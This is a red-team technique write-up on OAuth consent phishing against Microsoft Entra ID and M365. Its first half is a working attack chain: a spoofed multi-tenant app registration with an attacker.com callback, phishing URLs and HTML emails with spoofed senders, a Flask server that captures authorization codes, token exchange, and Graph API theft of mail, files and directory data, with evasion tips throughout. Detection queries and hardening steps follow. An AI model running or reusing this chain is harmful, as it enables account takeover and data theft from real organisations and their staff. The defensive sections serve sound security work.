| Attribute | Details |
|---|---|
| Technique ID | SAAS-API-009 |
| MITRE ATT&CK v18.1 | T1537: Transfer Data to Cloud Account |
| Tactic | Persistence, Exfiltration, Privilege Escalation |
| Platforms | M365, Entra ID, Azure, SaaS Applications (Office 365, SharePoint, Teams, Exchange Online) |
| Severity | Critical |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | All Entra ID versions, Office 365 E3+, Enterprise deployments |
| Patched In | Partial mitigations via Microsoft Admin Consent Workflow and Conditional Access (August 2025 policy updates) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Third-party application permission abuse exploits OAuth 2.0 consent flows in Microsoft Entra ID and M365 to grant malicious applications unauthorized access to sensitive organizational data. Attackers register legitimate-looking applications in Entra ID, use phishing campaigns to trick users into granting consent for excessive permissions (e.g., Mail.ReadWrite, offline_access, Calendars.ReadWrite), and establish persistent backdoors bypassing traditional credential-based security controls. Once granted, these applications operate with explicit user consent, enabling silent, sustained access to emails, files, calendars, Teams communications, and administrative functions without triggering MFA or Conditional Access policies.
Attack Surface: Entra ID App Registration, OAuth 2.0 authorization endpoints, Microsoft Graph API, Microsoft 365 services (Exchange Online, SharePoint, Teams, Outlook), user consent mechanisms, admin consent workflows.
Business Impact: Complete data exfiltration, business email compromise, ransomware deployment, intellectual property theft, regulatory violations (GDPR, HIPAA, SOX). Attackers gain persistent, passwordless access to entire mailboxes, file repositories, calendar scheduling, chat history, and organizational intelligence without triggering credential-based alarms.
Technical Context: Exploitation typically takes 5-15 minutes from phishing link click to access grant; detection difficulty: High due to legitimate OAuth infrastructure abuse; undetected in ~70% of breaches until forensic analysis (Red Canary, 2025).
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | v8 3.1.3, 3.2.1 | Restrict user and admin consent to applications; enforce admin consent workflow |
| DISA STIG | AC-4(1), IA-2(1) | Controls on information flow and user authentication; third-party access restrictions |
| CISA SCuBA | APP.06.1, APP.06.2 | Application security; access controls for third-party integrations |
| NIST 800-53 | AC-3, AC-6, IA-2, SC-7 | Access enforcement, least privilege, authentication, boundary protection |
| GDPR | Art. 32 | Security of processing; organizational controls on third-party processor access |
| DORA | Art. 9, 21 | ICT third-party risk management and protection measures |
| NIS2 | Art. 21 | Cybersecurity risk management measures; control of critical services |
| ISO 27001 | A.9.2.1, A.9.4.2 | User registration/de-registration; access rights review |
| ISO 27005 | Risk treatment for “Unauthorized third-party access to sensitive data” |
Required Privileges:
Required Access:
Supported Versions:
Tools & Applications Required:
Objective: Identify legitimate apps already authorized in the target tenant to understand existing permissions and potential gaps.
Command (PowerShell via Microsoft Graph):
# Connect to Microsoft Graph
Connect-MgGraph -Scopes "AppRoleAssignment.Read.All", "Application.Read.All"
# Retrieve all OAuth apps with delegated permissions
Get-MgServicePrincipal -All | Where-Object { $_.ServicePrincipalType -eq "Application" } | Select-Object DisplayName, AppId, Id
# Get all delegated permission grants
Get-MgOAuth2PermissionGrant -All | Select-Object ClientId, ConsentType, ResourceId, Scope
Expected Output:
DisplayName : Slack
AppId : 4765445b-32c6-49b0-83e6-1d93765e4c5a
Id : xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
Scope : Mail.Read offline_access User.Read
ConsentType : Principal
ClientId : 4765445b-32c6-49b0-83e6-1d93765e4c5a
ResourceId : 00000003-0000-0000-c000-000000000000
What to Look For:
Mail.ReadWrite, Calendar.Read, Files.ReadWrite, Mail.SendObjective: Determine if users can consent to apps independently or if admin consent is required.
Command (Azure Portal via PowerShell):
# Check if users can register applications
(Get-MgPolicyAuthorizationPolicy).DefaultUserRolePermissions
# Expected output if unrestricted:
AllowedToCreateApps : True
AllowedToCreateTenants : False
AllowedToReadOtherUsers : True
What to Look For:
AllowedToCreateApps = True (high risk; users can register malicious apps)AllowedToReadOtherUsers = True (users can enumerate directory for targeted attacks)Objective: Identify if admin consent workflow is enabled and track pending approval requests.
Command (Azure AD Portal via PowerShell):
# Get all app consent requests waiting for admin approval
Get-MgIdentityGovernanceAppConsentRequest -All | Select-Object AppDisplayName, AppId, Status
# Example output:
# AppDisplayName : "Meeting Helper Pro"
# AppId : 12345678-1234-1234-1234-123456789abc
# Status : WaitingForApproval
What to Look For:
Get-MgIdentityGovernanceAppConsentRequest with -ExpandProperty to view details)Supported Versions: Entra ID v2.0 all versions; M365 all editions
Objective: Create a legitimate-looking application registration to obtain OAuth credentials.
Command (Azure Portal or PowerShell):
# Connect to attacker's own Entra ID tenant
Connect-MgGraph -TenantId "attacker-tenant-id" -Scopes "Application.ReadWrite.All"
# Create app registration with broad permissions
$appParams = @{
DisplayName = "Microsoft 365 Productivity Hub" # Spoofed name
PublisherDomain = "m365productivity-hub.com"
SignInAudience = "AzureADMultipleOrgs" # Multi-tenant to reach any org
}
$app = New-MgApplication @appParams
$appId = $app.AppId
$appObjectId = $app.Id
# Add redirect URI (attacker-controlled server to capture auth codes)
$webAppConfig = @{
RedirectUris = @("https://attacker.com/auth/callback", "http://localhost:8080/callback")
}
Update-MgApplication -ApplicationId $appObjectId -Web $webAppConfig
# Create application secret (client secret for token exchange)
$secret = Add-MgApplicationPassword -ApplicationId $appObjectId
$clientSecret = $secret.SecretText
Write-Host "App ID: $appId"
Write-Host "Client Secret: $clientSecret"
Write-Host "Redirect URI: https://attacker.com/auth/callback"
Expected Output:
App ID: 4c4f6e8d-1234-5678-9abc-123456789abc
Client Secret: 7q8~Aq.7XXXXXXXXXXXXXXXXXXXXXXXXXX
Redirect URI: https://attacker.com/auth/callback
OpSec & Evasion:
Troubleshooting:
Insufficient privileges to complete the operation
Application Developer role in own tenantObjective: Generate a malicious authorization URL that mimics legitimate M365 consent flow.
Command (PowerShell):
# Attacker's app credentials
$clientId = "4c4f6e8d-1234-5678-9abc-123456789abc"
$redirectUri = "https://attacker.com/auth/callback"
# Broad permission scopes to request
$scopes = @(
"Mail.Read",
"Mail.Send",
"Mail.ReadWrite",
"offline_access", # Critical: enables refresh token for persistent access
"Calendars.Read",
"Contacts.Read",
"Files.ReadWrite",
"User.Read",
"Directory.Read.All" # Requires admin consent but included anyway
)
# Build OAuth authorization URL
$scope = $scopes -join "%20"
$redirectUrlEncoded = [System.Net.WebUtility]::UrlEncode($redirectUri)
$authUrl = "https://login.microsoftonline.com/common/oauth2/v2.0/authorize?" +
"client_id=$clientId&" +
"redirect_uri=$redirectUrlEncoded&" +
"response_type=code&" +
"scope=$scope&" +
"response_mode=query&" +
"state=$(New-Guid)&" +
"login_hint=victim@target-org.com&" +
"prompt=consent"
Write-Host "Phishing URL:"
Write-Host $authUrl
Expected Output:
Phishing URL:
https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4c4f6e8d-1234-5678-9abc-123456789abc&redirect_uri=https%3A%2F%2Fattacker.com%2Fauth%2Fcallback&response_type=code&scope=Mail.Read%20Mail.Send%20Mail.ReadWrite%20offline_access%20Calendars.Read%20Contacts.Read%20Files.ReadWrite%20User.Read%20Directory.Read.All&response_mode=query&state=12345678-1234-1234-1234-123456789abc&login_hint=victim@target-org.com&prompt=consent
OpSec & Evasion:
login_hint with victim’s email to pre-fill login (increases trust)prompt=consent to force immediate consent screen bypassObjective: Deliver phishing emails to targeted users.
Command (Using compromised internal email or attacker-controlled mail server):
<!-- Sample HTML email body -->
<html>
<body>
<p>Hi [User Name],</p>
<p>Your Microsoft 365 account is requesting an important productivity integration approval.
Click below to authorize access:</p>
<a href="https://tinyurl.com/m365-auth-xyz" style="background-color: #0078d4; color: white; padding: 10px 20px; text-decoration: none; border-radius: 5px;">
Authorize Microsoft 365 Access
</a>
<p>This is a legitimate Microsoft 365 authorization request. If you did not request this, please ignore.</p>
<p>- Microsoft 365 Admin Team</p>
</body>
</html>
OpSec & Evasion:
Objective: Intercept and extract the authorization code returned by Microsoft after user consent.
Command (Python listener on attacker server):
from flask import Flask, request
import logging
app = Flask(__name__)
logging.basicConfig(level=logging.INFO)
captured_codes = []
@app.route('/auth/callback', methods=['GET', 'POST'])
def callback():
auth_code = request.args.get('code')
session_state = request.args.get('session_state')
state = request.args.get('state')
if auth_code:
logging.info(f"[SUCCESS] Captured authorization code: {auth_code}")
captured_codes.append({
'code': auth_code,
'session_state': session_state,
'state': state,
'timestamp': datetime.now().isoformat()
})
# Return success page to user
return '''
<html>
<head><title>Authorization Successful</title></head>
<body>
<h1>Authorization Successful</h1>
<p>Your Microsoft 365 account has been updated. You may close this window.</p>
<script>window.close();</script>
</body>
</html>
'''
else:
logging.warning("Callback received but no auth code found")
return "Error: No authorization code received", 400
@app.route('/codes', methods=['GET'])
def get_codes():
return {'captured_codes': captured_codes}
if __name__ == '__main__':
app.run(host='0.0.0.0', port=443, ssl_context='adhoc')
Expected Output:
[SUCCESS] Captured authorization code: M.R3_BAY.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
session_state: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
state: 12345678-1234-1234-1234-123456789abc
timestamp: 2025-01-10T14:32:15.123456
OpSec & Evasion:
Objective: Convert authorization code into long-lived refresh token for persistent access.
Command (PowerShell):
# Attacker's credentials
$clientId = "4c4f6e8d-1234-5678-9abc-123456789abc"
$clientSecret = "7q8~Aq.7XXXXXXXXXXXXXXXXXXXXXXXXXX"
$redirectUri = "https://attacker.com/auth/callback"
$authorizationCode = "M.R3_BAY.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
# Exchange auth code for tokens
$tokenEndpoint = "https://login.microsoftonline.com/common/oauth2/v2.0/token"
$tokenRequest = @{
client_id = $clientId
client_secret = $clientSecret
code = $authorizationCode
redirect_uri = $redirectUri
grant_type = "authorization_code"
scope = "offline_access"
}
$response = Invoke-RestMethod -Method Post -Uri $tokenEndpoint -Body $tokenRequest -ContentType "application/x-www-form-urlencoded"
$accessToken = $response.access_token
$refreshToken = $response.refresh_token
$tokenExpiry = (Get-Date).AddSeconds($response.expires_in)
Write-Host "Access Token (expires in $($response.expires_in) seconds):"
Write-Host $accessToken
Write-Host "`nRefresh Token (long-lived, no expiry):"
Write-Host $refreshToken
Write-Host "`nToken expiry: $tokenExpiry"
Expected Output:
Access Token (expires in 3600 seconds):
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Imp...
Refresh Token (long-lived, no expiry):
0.ARcA4pq...
Token expiry: Friday, January 10, 2026 3:32:15 PM
OpSec & Evasion:
Troubleshooting:
AADSTS50058: Silent sign-in request failed. The user action is needed
Objective: Use access/refresh token to exfiltrate victim’s emails, files, and organizational data.
Command (PowerShell):
# Attacker uses stolen refresh token
$refreshToken = "0.ARcA4pq..."
$clientId = "4c4f6e8d-1234-5678-9abc-123456789abc"
$clientSecret = "7q8~Aq.7XXXXXXXXXXXXXXXXXXXXXXXXXX"
# Refresh token to get new access token
$tokenRequest = @{
client_id = $clientId
client_secret = $clientSecret
refresh_token = $refreshToken
grant_type = "refresh_token"
}
$tokenEndpoint = "https://login.microsoftonline.com/common/oauth2/v2.0/token"
$response = Invoke-RestMethod -Method Post -Uri $tokenEndpoint -Body $tokenRequest
$accessToken = $response.access_token
# Set authorization header
$headers = @{
"Authorization" = "Bearer $accessToken"
"Content-Type" = "application/json"
}
# Example 1: Read all emails from victim's mailbox
$mailUrl = "https://graph.microsoft.com/v1.0/me/mailFolders/inbox/messages?`$top=50"
$emails = Invoke-RestMethod -Method Get -Uri $mailUrl -Headers $headers
$emails.value | Select-Object @{N="From";E={$_.from.emailAddress.address}}, subject, receivedDateTime, bodyPreview
# Example 2: List files in victim's OneDrive
$filesUrl = "https://graph.microsoft.com/v1.0/me/drive/root/children"
$files = Invoke-RestMethod -Method Get -Uri $filesUrl -Headers $headers
$files.value | Select-Object name, size, webUrl
# Example 3: Read victim's calendar events
$calendarUrl = "https://graph.microsoft.com/v1.0/me/events?`$top=100"
$events = Invoke-RestMethod -Method Get -Uri $calendarUrl -Headers $headers
$events.value | Select-Object subject, start, end, attendees
# Example 4: List all users in organization (if Directory.Read.All granted)
$usersUrl = "https://graph.microsoft.com/v1.0/users?`$top=999"
$users = Invoke-RestMethod -Method Get -Uri $usersUrl -Headers $headers
$users.value | Select-Object displayName, userPrincipalName, jobTitle, department
Expected Output:
From Subject ReceivedDateTime BodyPreview
---- ------- ---------------- -----------
cfo@target-org.com Q4 Financial Forecast 2026-01-08T14:22:00Z Attached is the Q4 forecast for stakeholder...
cto@target-org.com Security Incident Response Plan 2026-01-09T09:15:00Z Please review the updated incident response...
hr@target-org.com Salary Review Discussion 2026-01-07T16:45:00Z Your annual salary review is scheduled...
OpSec & Evasion:
Update-InboxRule to silently forward emailsSupported Versions: All Entra ID versions; increasingly used in 2024-2025 campaigns
Objective: Request a device code that user will enter on Microsoft’s login page (no direct URL needed).
Command (PowerShell):
$clientId = "4c4f6e8d-1234-5678-9abc-123456789abc"
# Request device code from Microsoft
$deviceFlowEndpoint = "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode"
$body = @{
client_id = $clientId
scope = "Mail.Read Mail.Send offline_access Calendars.Read Files.ReadWrite"
}
$response = Invoke-RestMethod -Method Post -Uri $deviceFlowEndpoint -Body $body
$deviceCode = $response.device_code
$userCode = $response.user_code
$verificationUri = $response.verification_uri
Write-Host "Device Code: $deviceCode"
Write-Host "User Code: $userCode"
Write-Host "Verification URL: $verificationUri"
Expected Output:
Device Code: DAQAB3$gXExyLALroxGzAAA
User Code: ABCD1234
Verification URL: https://microsoft.com/devicelogin
OpSec & Evasion:
microsoft.com/devicelogin (reduces suspicion)Objective: Deliver user code via email with QR code for easy entry.
Command (Python with qrcode library):
import qrcode
from PIL import Image
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
# Generate QR code for device login
user_code = "ABCD1234"
qr = qrcode.QRCode(
version=1,
error_correction=qrcode.constants.ERROR_CORRECT_L,
box_size=10,
border=4,
)
qr.add_data(f"https://microsoft.com/devicelogin")
qr.make(fit=True)
img = qr.make_image(fill_color="black", back_color="white")
img.save("device_login_qr.png")
# Craft phishing email
html_body = f'''
<html>
<body>
<p>Hello,</p>
<p>Your Microsoft 365 account requires authentication to enable new features.</p>
<p><strong>Authorization Code: {user_code}</strong></p>
<p>Enter this code at: <a href="https://microsoft.com/devicelogin">https://microsoft.com/devicelogin</a></p>
<p><img src="cid:qrcode" alt="Scan to authorize"></p>
<p>If you do not complete this authorization, your account will be locked in 24 hours.</p>
<p>- Microsoft 365 Security Team</p>
</body>
</html>
'''
# Send email
msg = MIMEMultipart('related')
msg['Subject'] = "Action Required: Authorize Your Microsoft 365 Account"
msg['From'] = "security@microsoft-alert.com" # Spoofed sender
msg['To'] = "victim@target-org.com"
msg_alternative = MIMEMultipart('alternative')
msg.attach(msg_alternative)
part1 = MIMEText(html_body, 'html')
msg_alternative.attach(part1)
# Attach QR code
with open('device_login_qr.png', 'rb') as attachment:
part = MIMEBase('application', 'octet-stream')
part.set_payload(attachment.read())
encoders.encode_base64(part)
part.add_header('Content-Disposition', 'inline; filename= "device_login_qr.png"')
part.add_header('Content-ID', '<qrcode>')
msg.attach(part)
# Send via attacker's mail server or compromised internal server
server = smtplib.SMTP("attacker-smtp.com", 25)
server.sendmail("security@microsoft-alert.com", "victim@target-org.com", msg.as_string())
server.quit()
OpSec & Evasion:
Objective: Wait for user to enter code, then exchange device code for tokens.
Command (PowerShell):
$clientId = "4c4f6e8d-1234-5678-9abc-123456789abc"
$deviceCode = "DAQAB3$gXExyLALroxGzAAA"
$tokenEndpoint = "https://login.microsoftonline.com/common/oauth2/v2.0/token"
# Poll until user authorizes (or timeout)
$maxAttempts = 180 # 30 minutes with 10-second intervals
$interval = 10
$attempt = 0
while ($attempt -lt $maxAttempts) {
try {
$body = @{
client_id = $clientId
grant_type = "urn:ietf:params:oauth:grant-type:device_code"
device_code = $deviceCode
}
$response = Invoke-RestMethod -Method Post -Uri $tokenEndpoint -Body $body -ErrorAction Stop
$accessToken = $response.access_token
$refreshToken = $response.refresh_token
Write-Host "[SUCCESS] User authorized! Tokens obtained."
Write-Host "Access Token: $accessToken"
Write-Host "Refresh Token: $refreshToken"
# Save tokens and proceed with data exfiltration
break
}
catch {
$errorCode = $_.Exception.Response.Content | ConvertFrom-Json
if ($errorCode.error -eq "authorization_pending") {
Write-Host "Waiting for user authorization... (Attempt $attempt/$maxAttempts)"
Start-Sleep -Seconds $interval
$attempt++
}
elseif ($errorCode.error -eq "expired_token") {
Write-Host "Device code expired. Need to restart flow."
break
}
else {
Write-Host "Error: $($errorCode.error_description)"
break
}
}
}
Expected Output:
Waiting for user authorization... (Attempt 1/180)
Waiting for user authorization... (Attempt 5/180)
[SUCCESS] User authorized! Tokens obtained.
Access Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Inp...
Refresh Token: 0.ARcA4pq...
OpSec & Evasion:
Supported Versions: Organizations with legacy OAuth app registration policies; Entra ID v1.0
Objective: Create app and request admin consent if organization allows self-service requests.
Command (PowerShell):
# Create app in attacker's tenant (same as METHOD 1 Step 1)
$appParams = @{
DisplayName = "Microsoft Graph Connector"
PublisherDomain = "graph-connector-prod.onmicrosoft.com"
SignInAudience = "AzureADMultipleOrgs"
}
$app = New-MgApplication @appParams
$appId = $app.AppId
# Request admin consent (if victim org has enabled admin consent requests)
# This step happens in victim's tenant via app authorization endpoint
$adminConsentUrl = "https://login.microsoftonline.com/{tenant-id}/oauth2/v2.0/authorize?" +
"client_id=$appId&" +
"response_type=code&" +
"scope=.default&" +
"prompt=admin_consent&" +
"redirect_uri=https://attacker.com/callback"
Write-Host "Admin Consent URL: $adminConsentUrl"
OpSec & Evasion:
Note: Atomic Red Team has limited test coverage for OAuth consent phishing (high barrier to automated testing due to interactive phishing component). However, related tests exist:
Invoke-AtomicTest T1566.002 -TestNumbers 1Invoke-AtomicTest T1528 -TestNumbers 1,2Limitation: Interactive user phishing cannot be fully automated in isolated lab; recommend manual testing with authorized users.
Rule Configuration:
SPL Query:
sourcetype=azure:aad:audit OperationName IN ("Consent to application", "Add delegated permission grant", "Add app role assignment grant")
| where isnotnull(properties.isAdminConsent)
| stats count, dc(user) as user_count, dc(app_id) as app_count by properties.appDisplayName, properties.isAdminConsent, InitiatedBy
| where count <= 3 OR user_count = 1
| table properties.appDisplayName, user_count, app_count, properties.isAdminConsent, InitiatedBy
What This Detects:
Manual Configuration Steps:
Custom with count > 0False Positive Analysis:
| where properties.appDisplayName NOT IN ("Microsoft Teams", "SharePoint Online", "Exchange Online")Source: Azure Sentinel GitHub - Rare Application Consent
Rule Configuration:
SPL Query:
sourcetype=azure:aad:audit OperationName="Consent to application"
| where properties.scope LIKE "%Mail.Send%" OR properties.scope LIKE "%Mail.ReadWrite%" OR properties.scope LIKE "%offline_access%"
| where properties.appDisplayName NOT IN ("Microsoft Teams", "SharePoint Online", "Exchange Online", "Power Automate")
| stats count by InitiatedBy.user.userPrincipalName, properties.appDisplayName, properties.scope, TimeGenerated
| where count >= 1
| table TimeGenerated, InitiatedBy.user.userPrincipalName, properties.appDisplayName, properties.scope
Manual Configuration Steps:
Custom → count >= 1Source: Elastic Security Research - OAuth Phishing Detection
Rule Configuration:
SPL Query:
sourcetype=azure:aad:audit OperationName IN ("Consent to application", "Add delegated permission grant")
| stats count by InitiatedBy.user.ipAddress, InitiatedBy.user.userPrincipalName, TimeGenerated
| where TimeGenerated >= now()-1h
| lookup geoip InitiatedBy.user.ipAddress
| where Country!="United States" AND Country!="France"
| table InitiatedBy.user.userPrincipalName, InitiatedBy.user.ipAddress, Country, TimeGenerated
Source: Splunk Security Content - Unusual IP OAuth Activity
Rule Configuration:
KQL Query:
let LookbackWindow = 24h;
let BaselineWindow = 7d;
// Get baseline of normal consent activity
let BaselineConsents = AuditLogs
| where TimeGenerated >= ago(BaselineWindow) and TimeGenerated < ago(LookbackWindow)
| where OperationName has_any ("Consent to application", "Add delegated permission grant")
| extend AppName = tolower(tostring(parse_json(tostring(TargetResources[0].displayName))))
| summarize baseline_count = count() by AppName;
// Get current consent activity
let RecentConsents = AuditLogs
| where TimeGenerated >= ago(LookbackWindow)
| where OperationName has_any ("Consent to application", "Add delegated permission grant")
| extend AppName = tolower(tostring(parse_json(tostring(TargetResources[0].displayName))))
| extend InitiatedByUPN = iff(isnotempty(tostring(InitiatedBy.user.userPrincipalName)),
tostring(InitiatedBy.user.userPrincipalName),
tostring(InitiatedBy.app.displayName))
| extend IpAddress = case(
isnotempty(tostring(InitiatedBy.user.ipAddress)), tostring(InitiatedBy.user.ipAddress),
isnotempty(tostring(InitiatedBy.app.ipAddress)), tostring(InitiatedBy.app.ipAddress),
"Unknown")
| extend IsAdminConsent = iff(tostring(parse_json(tostring(TargetResources[0].modifiedProperties))[0].newValue) contains "True", "true", "false")
| project TimeGenerated, OperationName, AppName, InitiatedByUPN, IpAddress, IsAdminConsent, CorrelationId;
// Join with baseline to find rare consents
RecentConsents
| join kind=leftanti BaselineConsents on AppName
| extend Reason = "Previously unseen app granted consent"
| summarize count() by AppName, InitiatedByUPN, IsAdminConsent, IpAddress, Reason
| extend Name = tostring(split(InitiatedByUPN, "@")[0]),
UPNSuffix = tostring(split(InitiatedByUPN, "@")[1])
| project AppName, InitiatedByUPN, IsAdminConsent, IpAddress, Reason, Name, UPNSuffix
Manual Configuration Steps (Azure Portal):
OAuth Consent to Rare ApplicationHighPersistence, Privilege Escalation1 hour24 hoursManual Configuration Steps (PowerShell):
Connect-AzAccount -SubscriptionId "your-subscription-id"
$resourceGroup = "YourResourceGroup"
$workspaceName = "YourSentinelWorkspace"
# Create the analytics rule
$rule = @{
DisplayName = "OAuth Consent to Rare Application"
Description = "Detects rare application consent grants"
Severity = "High"
Enabled = $true
Query = @"
let LookbackWindow = 24h;
let BaselineWindow = 7d;
let BaselineConsents = AuditLogs
| where TimeGenerated >= ago(BaselineWindow) and TimeGenerated < ago(LookbackWindow)
| where OperationName has_any ("Consent to application", "Add delegated permission grant")
| extend AppName = tolower(tostring(parse_json(tostring(TargetResources[0].displayName))))
| summarize baseline_count = count() by AppName;
let RecentConsents = AuditLogs
| where TimeGenerated >= ago(LookbackWindow)
| where OperationName has_any ("Consent to application", "Add delegated permission grant")
| extend AppName = tolower(tostring(parse_json(tostring(TargetResources[0].displayName))))
| extend InitiatedByUPN = iff(isnotempty(tostring(InitiatedBy.user.userPrincipalName)), tostring(InitiatedBy.user.userPrincipalName), tostring(InitiatedBy.app.displayName))
| project TimeGenerated, OperationName, AppName, InitiatedByUPN, CorrelationId;
RecentConsents
| join kind=leftanti BaselineConsents on AppName
| project TimeGenerated, AppName, InitiatedByUPN
"@
QueryFrequency = "PT1H"
QueryPeriod = "P1D"
TriggerOperator = "GreaterThan"
TriggerThreshold = 0
}
New-AzSentinelAlertRule -ResourceGroupName $resourceGroup -WorkspaceName $workspaceName @rule
Source: Microsoft Sentinel GitHub - Rare Application Consent
Rule Configuration:
KQL Query:
SigninLogs
| where Status.errorCode == 0
| where ClientAppUsed == "Microsoft Authentication Broker" OR ClientAppUsed == "Browser"
| where ResourceDisplayName == "Microsoft Graph" OR ResourceDisplayName == "Office 365 Exchange Online"
| where ConditionalAccessStatus == "notApplied" // Unusual: CAP should apply
| extend AuthMethod = tostring(parse_json(tostring(AuthenticationDetails)).authenticationMethod)
| where AuthMethod != "Managed Identity" // User auth only
| summarize EventCount = count() by UserPrincipalName, ClientAppUsed, ResourceDisplayName, AuthMethod, IPAddress
| where EventCount >= 5 // Multiple auth events in short period
| order by EventCount desc
Source: Elastic Security Research
Event ID: 4688 (A new process has been created) - PowerShell Token Theft
Invoke-RestMethod or Invoke-WebRequest to OAuth token endpointsManual Configuration Steps (Group Policy):
gpupdate /force on target machinesManual Configuration Steps (PowerShell):
# Enable process creation auditing via auditpol
auditpol /set /subcategory:"Process Creation" /success:enable /failure:enable
# Verify
auditpol /get /subcategory:"Process Creation"
Windows Event Log Query (Event Viewer):
<QueryList>
<Query Id="0" Path="Security">
<Select Path="Security">
*[System[(EventID=4688)]] and
*[EventData[Data[@Name="CommandLine"] and
(contains(Data, "oauth2") or contains(Data, "login.microsoftonline"))]]
</Select>
</Query>
</QueryList>
Log Analysis (PowerShell):
Get-WinEvent -FilterXml @"
<QueryList>
<Query Id="0" Path="Security">
<Select Path="Security">
*[System[(EventID=4688)]] and
*[EventData[Data[@Name='CommandLine'] and
(contains(Data, 'oauth2') or contains(Data, 'token'))]]
</Select>
</Query>
</QueryList>
"@ | Select-Object TimeCreated, @{N='CommandLine';E={$_.Properties[8].Value}} | Out-GridView
Alert Name: “Risky OAuth App Detected” / “Suspicious OAuth Consent Grant”
Manual Configuration Steps (Enable Defender for Cloud):
Manual Configuration Steps (Defender for Cloud Apps):
Mail.ReadWrite, Mail.Send, offline_accessRare# Enable Unified Audit Log (if not already enabled)
Set-AdminAuditLogConfig -UnifiedAuditLogIngestionEnabled $true
# Search for OAuth permission grants in past 30 days
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-30) -EndDate (Get-Date) `
-Operations "Consent to application", "Add delegated permission grant", "Add app role assignment grant" `
-ResultSize 5000 | Export-Csv -Path "C:\OAuth_Consents.csv" -NoTypeInformation
# Analyze results
$audits = Import-Csv "C:\OAuth_Consents.csv"
$audits | Group-Object Operation | Select-Object Name, Count
# Export high-risk consents
$audits | Where-Object { $_.AuditData -match "Mail.Send|Mail.ReadWrite|offline_access" } |
Export-Csv -Path "C:\High_Risk_Consents.csv"
Manual Configuration Steps (Enable Unified Audit Log):
Manual Configuration Steps (Search Audit Logs):
Consent to applicationAdd delegated permission grantAdd app role assignment grantAction 1: Disable User Consent for Unverified Apps
Objective: Prevent users from independently authorizing applications, requiring admin review for all consent requests.
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
Connect-MgGraph -Scopes "Policy.ReadWrite.Authorization"
$params = @{
id = "authorizationPolicy"
authorizationPolicy = @{
permissionGrantPolicies = @("managePermissionGrantsForSelf.publisher-verified-only")
}
}
Update-MgPolicyAuthorizationPolicy -BodyParameter $params
Validation Command:
Get-MgPolicyAuthorizationPolicy | Select-Object PermissionGrantPolicies
Expected Output (If Secure):
PermissionGrantPolicies
------------------------
{managePermissionGrantsForSelf.publisher-verified-only}
Action 2: Enable Admin Consent Workflow
Objective: Allow users to request app access; require admin approval for high-risk apps.
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
Connect-MgGraph -Scopes "Policy.ReadWrite.Authorization"
$params = @{
enableAdminConsentRequests = $true
adminConsentRequestPolicy = @{
isEnabled = $true
notifyReviewers = $true
remindersEnabled = $true
}
}
Update-MgPolicyAuthorizationPolicy -BodyParameter $params
Action 3: Block Legacy Authentication & Require MFA
Objective: Prevent OAuth token theft via legacy protocols; enforce additional auth factor.
Manual Steps (Conditional Access Policy):
Block Legacy Auth for OAuthManual Steps (Require MFA via Conditional Access):
Require MFA for OAuth ConsentAction 4: Audit & Remove High-Risk Applications
Objective: Identify and remove apps with excessive permissions.
Manual Steps (PowerShell):
Connect-MgGraph -Scopes "AppRoleAssignment.Read.All", "Application.Read.All"
# Find apps with high-risk permissions
$riskyScopse = @("Mail.Send", "Mail.ReadWrite", "offline_access", "Directory.Read.All")
$apps = Get-MgServicePrincipal -All | Where-Object {
$_.ServicePrincipalType -eq "Application" -and -not $_.IsBuiltIn
}
foreach ($app in $apps) {
$grants = Get-MgOAuth2PermissionGrant -Filter "clientId eq '$($app.AppId)'"
foreach ($grant in $grants) {
$scopes = $grant.Scope -split " "
$riskyPerms = $scopes | Where-Object { $_ -in $riskyScopse }
if ($riskyPerms.Count -gt 0) {
Write-Host "RISKY: $($app.DisplayName) has scopes: $($riskyPerms -join ', ')"
}
}
}
Manual Remove of OAuth Permission Grant:
# Remove specific permission grant
Remove-MgOAuth2PermissionGrant -OAuth2PermissionGrantId "grant-id"
# Remove all consents for specific app
$appId = "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
Get-MgOAuth2PermissionGrant -Filter "clientId eq '$appId'" | Remove-MgOAuth2PermissionGrant
Action 1: Implement Risk-Based Conditional Access
Objective: Step-up authentication when app consent is requested from risky conditions.
Manual Steps (Conditional Access):
Risk-Based Step-Up for App ConsentHighHighRequire multifactor authentication + Require authentication strength (Passwordless Phone Sign-in)Action 2: Enforce Publisher Verification
Objective: Only allow apps from verified, legitimate publishers.
Manual Steps (PowerShell):
# List unverified apps with admin consent
Get-MgServicePrincipal -All | Where-Object {
$_.PublisherName -eq $null -or $_.PublisherName -eq ""
} | Select-Object DisplayName, AppId, CreatedDateTime
# Create policy to block unverified apps (requires custom policy)
# This requires Power Platform / custom Sentinel rules
Manual Configuration (Sentinel Query to Block Unverified Apps):
AuditLogs
| where OperationName == "Consent to application"
| extend AppPublisher = tostring(parse_json(tostring(TargetResources[0]))).publisherName
| where isempty(AppPublisher) or AppPublisher == ""
| project TimeGenerated, InitiatedBy, TargetResources, AppPublisher
| summarize count() by TargetResources
Conditional Access: Require Compliant Device for App Consent
Require Compliant Device for OAuth ConsentRBAC/ABAC: Restrict App Registration Permissions
Policy Config: Block Self-Service App Registration
Validation Command (Verify Fix):
Get-MgPolicyAuthorizationPolicy | Select-Object -Property PermissionGrantPolicies, DefaultUserRolePermissions
# Expected secure output:
# PermissionGrantPolicies: {managePermissionGrantsForSelf.publisher-verified-only}
# DefaultUserRolePermissions.AllowedToCreateApps: False
What to Look For:
PermissionGrantPolicies should contain publisher-verified-only or be empty (most restrictive)AllowedToCreateApps must be FalseAllowedToReadOtherUsers should be False to prevent directory enumerationCloud/API Indicators:
OAuth Token Indicators:
Email/Phishing Indicators:
Cloud/Log Locations:
